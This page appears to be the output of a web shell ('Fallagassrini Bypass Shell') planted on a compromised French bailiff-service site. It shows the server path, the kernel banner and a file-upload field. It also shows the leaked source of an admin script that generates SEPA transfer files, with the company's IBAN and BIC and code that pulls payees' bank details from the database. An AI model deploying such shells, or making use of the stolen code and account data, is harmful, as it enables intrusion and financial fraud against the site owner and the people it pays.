Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/h/a/p/happyrenas/old/huissier-express.fr/administration/panel/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/h/a/p/happyrenas/old/huissier-express.fr/administration/panel/xml_constat.php

<?



session_start();

include("../../config.php");



//$search  = array('À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'à', 'á', 'â', 'ã', 'ä', 'å', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ð', 'ò', 'ó', 'ô', 'õ', 'ö', 'ù', 'ú', 'û', 'ü', 'ý', 'ÿ');

//$replace = array('A', 'A', 'A', 'A', 'A', 'A', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 'a', 'a', 'a', 'a', 'a', 'a', 'c', 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u', 'y', 'y');

//$MaChaine = str_replace($search, $replace, $MaChaine);



$date_creation 		= $_GET['date_creation'];

$date_creation		=	date("Y-m-d", strtotime($date_creation));



$force 		= $_GET['force'];



$myquery = "SELECT * from constat where 1 AND date_creation LIKE '".$date_creation."%' AND attribution_id!=0 order by id";

$myquery_calls = $db->get_results($myquery);

$num = $db->num_rows;



if (!empty($myquery_calls))

	{

	foreach ( $myquery_calls as $constat )

	{

	$myquery = "SELECT * from facture where constat_id=".$constat->id;

	$facture = $db->get_row($myquery);

	

	if ($facture->id)

	{

		$lemontant= $constat->tarif - $facture->facture_montant;

		$virement_nombre=$virement_nombre+1;

		$virement_montant=$virement_montant+$lemontant;

	}

	}

	}

				

$date1 = new DateTime(date("Y-m-d"));

$date2 = new DateTime(date("Y")."-01-01");

$diff = $date2->diff($date1)->format("%a");

$reference_globale="HR/".date("Y")."/".$diff;



$virement_date = date('Y-m-d', strtotime('+3 days')); 

$virement_date = date('Y-m-d', strtotime('+0 days')); 



$message="";

$message.= "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?> \n";

$message.= "<Document xmlns=\"urn:iso:std:iso:20022:tech:xsd:pain.001.001.03\">\n";

$message.= "<CstmrCdtTrfInitn>\n";

$message.= "	<GrpHdr>\n";

$message.= "		<MsgId>".$reference_globale."</MsgId>\n";

$message.= "		<CreDtTm>".date("Y-m-d")."T".date("H:i:s")."</CreDtTm>\n";

$message.= "		<NbOfTxs>".$virement_nombre."</NbOfTxs>\n";

$message.= "		<CtrlSum>".$virement_montant."</CtrlSum>\n";

$message.= "		<InitgPty>\n";

$message.= "			<Nm>Huissier Express</Nm>\n";

$message.= "		</InitgPty>\n";

$message.= "	</GrpHdr>\n";



$message.= "			<PmtInf>\n";

$message.= "				<PmtInfId>HE/".$diff."</PmtInfId>\n";

$message.= "				<PmtMtd>TRF</PmtMtd>\n";

$message.= "				<BtchBookg>false</BtchBookg>\n";

$message.= "				<NbOfTxs>".$virement_nombre."</NbOfTxs>\n";

$message.= "				<CtrlSum>".$virement_montant."</CtrlSum>\n";

$message.= "				<PmtTpInf>\n";

$message.= "					<SvcLvl>\n";

$message.= "						<Cd>SEPA</Cd>\n";

$message.= "					</SvcLvl>\n";

$message.= "				</PmtTpInf>\n";

$message.= "				<ReqdExctnDt>".$virement_date."</ReqdExctnDt>\n";

$message.= "				<Dbtr>\n";

$message.= "					<Nm>Huissier-Express</Nm>\n";

$message.= "				</Dbtr>\n";

$message.= "				<DbtrAcct>\n";

$message.= "					<Id>\n";

$message.= "						<IBAN>FR7610057192950002003160258</IBAN>\n";

$message.= "					</Id>\n";

$message.= "				</DbtrAcct>\n";

$message.= "				<DbtrAgt>\n";

$message.= "					<FinInstnId>\n";

$message.= "						<BIC>CMCIFRPP</BIC>\n";

$message.= "					</FinInstnId>\n";

$message.= "				</DbtrAgt>\n";

$message.= "				<ChrgBr>SLEV</ChrgBr>\n";







if (!empty($myquery_calls))

{

foreach ( $myquery_calls as $constat )

{

$myquery = "SELECT * from facture where constat_id=".$constat->id;

$facture = $db->get_row($myquery);



if ($facture->id)

{

$montant= $constat->tarif - $facture->facture_montant;

	



$myquery 	= 	"SELECT * from huissier where id=".$constat->attribution_id;

$huissier 	= 	$db->get_row($myquery);

$iban		= 	"";

$iban		=	str_replace(" ","",$huissier->iban);

$iban		=	str_replace(" ","",$iban);

$iban		=	str_replace(" ","",$iban);

$iban		=	str_replace(" ","",$iban);

$iban		=	strtoupper($iban);



$bic		= 	"";

$bic		=	str_replace(" ","",$huissier->bic);





//$constat->nom = str_replace("&icirc;","",$constat->nom);

//$huissier->huissier = str_replace("&icirc;","i",$huissier->huissier);

//$huissier->huissier = str_replace("&eacute;","e",$huissier->huissier);

//$huissier->huissier = str_replace("&egrave;","e",$huissier->huissier);

$constat->nom = html_entity_decode($constat->nom);

$huissier->huissier = html_entity_decode($huissier->huissier);
$huissier->huissier = str_replace("&"," et ",$huissier->huissier);

	

$message.= "			<CdtTrfTxInf>\n";

$message.= "				<PmtId>\n";

$message.= "					<InstrId>".$huissier->id."/".$constat->id."</InstrId>\n";

$message.= "					<EndToEndId>HEConstat/".str_replace(" ","",$constat->nom)."</EndToEndId>\n";

$message.= "				</PmtId>\n";

$message.= "				<Amt>\n";

$message.= "					<InstdAmt Ccy=\"EUR\">".$montant."</InstdAmt>\n";

$message.= "				</Amt>\n";

$message.= "				<CdtrAgt>\n";

$message.= "					<FinInstnId>\n";

$message.= "						<BIC>".$bic."</BIC>\n";

$message.= "					</FinInstnId>\n";

$message.= "				</CdtrAgt>\n";

$message.= "				<Cdtr>\n";

$message.= "					<Nm>".$huissier->huissier."</Nm>\n";

$message.= "				</Cdtr>\n";

$message.= "				<CdtrAcct>\n";

$message.= "					<Id>\n";

$message.= "						<IBAN>".$iban."</IBAN>\n";

$message.= "					</Id>\n";

$message.= "				</CdtrAcct>\n";

$message.= "				<RgltryRptg>\n";

$message.= "					<Dtls>\n";

$message.= "						<Cd>150</Cd>\n";

$message.= "					</Dtls>\n";

$message.= "				</RgltryRptg>\n";

$message.= "				<RmtInf>\n";

$message.= "					<Ustrd>".$constat->id."</Ustrd>\n";

$message.= "				</RmtInf>\n";

$message.= "			</CdtTrfTxInf>\n";

}

}

}

$message.= "						</PmtInf>\n";

$message.= "					</CstmrCdtTrfInitn>\n";

$message.= "				</Document>\n";



if (!$force)

{

print_r ($message);

}

else

{

$nom_fichier="constat".utf8_encode(date("Y-m-d-H-i"));

$fp = fopen('xml/'.$nom_fichier.'.xml', 'w+');

fputs($fp, $message);



?>

<h4 class="modal-title">Telecharger le fichier XML : Click droit et "Enregisrer sous"</h4>

<a target="_blank" href="xml/<?echo $nom_fichier;?>.xml"><?echo $nom_fichier;?>.xml</a>

<?

}

?>

			

		

		

			

			

			


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net